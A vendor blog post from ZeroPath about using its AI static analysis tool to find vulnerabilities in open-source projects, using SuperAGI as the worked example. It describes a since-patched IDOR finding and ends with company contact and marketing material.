CodeQL or some other static analysis tool just to get started can be a productive use of time. The new breed of AI SAST tools are pretty definitively more powerful than their basic static-analysis driven predecessors, and expand the scope of bugs you can quickly grep for. If you weren't using them befeore, it makes sense to reevaluate. Unfortunately however, a lot of security researchers are unaware of what these tools can do by default, or don't understand how to configure them for the code they're looking at. Here's how the ZeroPath team uses ZeroPath to find bugs in open source repositories. --- ## Select Your Targets First, target selection: ZeroPath isn't going to find you any WordPress 0days (yet). It helps to pick a popular but new repository on the github trending list. When the team is spelunking we usually look for web applications between 500 and 10000 github stars that have been updated in the last few months. For this example we will use SuperAGI, an “Open-source framework to build, manage and run useful Autonomous AI Agents” ![SuperAGI](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_github.PNG) ## Running Your First Scan Before configuring any custom settings, it usually makes sense to run a basic scan so that you can see what kind of results ZeroPath will return for the repository by default. Among other import methods, ZeroPath lets you scan code at any live github URL, or upload a zip archive of the source manually. After the scan is complete, you can view the number of results and navigate to the issues page by clicking on our scan. Here were the results when we tried: ![Many_Issues](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_issues.PNG) Clearly, our tool did not report 65 independently high value exploitable bugs for the SuperAGI repo; most of these are going to be false positives. To help with triage, for each potential finding, ZeroPath will give you a natural language description, an explanation of what associated request handler, a description of the application the bug was found on, and a CVSS ranking with subscores determined by the AI. ![superagi_partial](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_partial_view.PNG) Additionally, you go to the explorer tab, you can also get a list of all code points in the application that receive external traffic. Even if you're not using the findings this can help with recon and giving you a sense of the app's surface area. In SuperAGI's case, this will show us all extant HTTP endpoints. ![superagi_explorer](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_explorer.PNG) In our experience, looking at the first ten or so issues is sufficient to see if ZeroPath did well the first try. ## Customizing ZeroPath's SAST Sometimes ZeroPath will need some configuration; like if there are important details about the app that aren't available in the source. For example, let's say that for this application, I know that all the /intrnl/\*\*/\* endpoints are only exposed internally, and not to the wider internet. With AI SAST tools, I can just explain this to the AI in my own words, by adding repo context. Then when I rescan, the AI will take into account that information when reporting security bugs. ![repo_context](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/repo_context.PNG) By phrasing instructions as contextual information, you can progressively narrow the scan results until the findings are excluded to the kinds of issues you want. For example, you can: - Tell the AI that certain inputs are sanitized by an external router. - Tell the AI that broken auth issues are out of scope for its assessment. - Tell the AI that a @foo decorator applies some filtering or authentication checks. Additionally, you can also give the AI extra details to alert on. These are called "natural language rules" and when you specify them the AI will scan the code for the violations that you specify. For instance, you can ask it to look for any endpoint that's declared without a specific decorator attached: ![custom_rule](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/custom_rule_full.PNG) ## Finding Real-World Security Vulnerabilities During our review of the SuperAGI project, we found a legitimate Insecure Direct Object Reference (IDOR) vulnerability in the /get/{resource_id} route very quickly. The `download_file_by_id` function which this route serves would respond with files based on a user supplied resource_id, without performing any authorization checks on that resource_id for the user. ![super_agi_idor](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_idor_full.PNG) The actual finding from the scan is shown above, and you may notice the status is "patched". This is because we generated a security fix and submitted the [PR](https://github.com/TransformerOptimus/SuperAGI/pull/1448) to the SuperAGI maintainers, which got merged. ## Detecting Business Logic Vulnerabilities Particularly because up until now there has been no easy way to scan for these types of vulnerabilities, we've had a high success rate in finding business logic vulnerabilities across many apps. These issues traditionally require lots of manual labor to find, because there's no simple way to grep for them. In applications where there are hundreds or thousands of endpoints, having a human review each one for authorization and similar flaws is time consuming. Hopefully as AI SAST gets better this will be less and less the case. ## Conclusion Overall, AI SAST is not perfect, but we think it's currently a force multiplier for security research and will only keep improving overtime. It's helped us in both pentests and in security research to find issues that might have been overlooked or required a lot of manual effort to find. If you're a security researcher who utilizes SAST tools, we'd be happy if you gave ours a try and let us know how it does, especially repos it currently struggles on. Happy hunting! --- ## Company Information ### About ZeroPath - **Mission**: Security that doesn't slow you down - **Focus**: AI-powered application security - **Website**: https://zeropath.com ## Resources & Support ### Documentation - **API Reference**: https://zeropath.com/docs - **Getting Started Guide**: https://zeropath.com/docs ### Community & Events - **Open Source**: https://github.com/ZeroPathAI - **Blog**: Regular updates and security insights ### Support Channels - **Email**: support@zeropath.com - **Status Page**: https://status.zeropath.com ## Legal & Compliance ### Data Security - **Encryption**: AES-256 at rest, TLS 1.3 in transit - **Architecture**: Zero-trust, scan-and-forget design - **Certifications**: SOC 2 Type II, ISO 27001 (pending) - **Penetration Testing**: Quarterly by independent firms ### Privacy & Terms - **Privacy Policy**: https://zeropath.com/privacy - **Terms of Service**: https://zeropath.com/terms - **Data Processing Agreement**: Available for enterprise - **Security Whitepaper**: Available upon request ## Contact Information ### Sales & Partnerships - **Schedule Demo**: /demo - **Sales Email**: sales@zeropath.com - **Partner Program**: partners@zeropath.com ### Media & Press - **Media Contact**: press@zeropath.com ### Social Media - **LinkedIn**: https://www.linkedin.com/company/zeropathai - **X (Twitter)**: https://x.com/zeropathai - **X (ZeroPath Labs)**: https://x.com/ZeroPathLabs - **YouTube**: https://www.youtube.com/@ZeroPathAI - **GitHub**: https://github.com/ZeroPathAI --- ## Summary ZeroPath represents the future of application security - where AI and human expertise combine to protect code without slowing down development. With our comprehensive platform, enterprises can achieve both speed and security, developers can focus on building rather than fixing false positives, and security teams can finally stay ahead of threats. **Ready to transform your application security?** - 🚀 Start Free Trial: https://auth.zeropath.com - 📅 Schedule Demo: /demo - 📧 Contact Sales: sales@zeropath.com --- *Last Updated: 2025-08-15T12:28:05.939Z* *Generated with ZeroPath llms.txt - Optimized for AI Understanding* **ZeroPath: Security that thinks, so you don't have to.**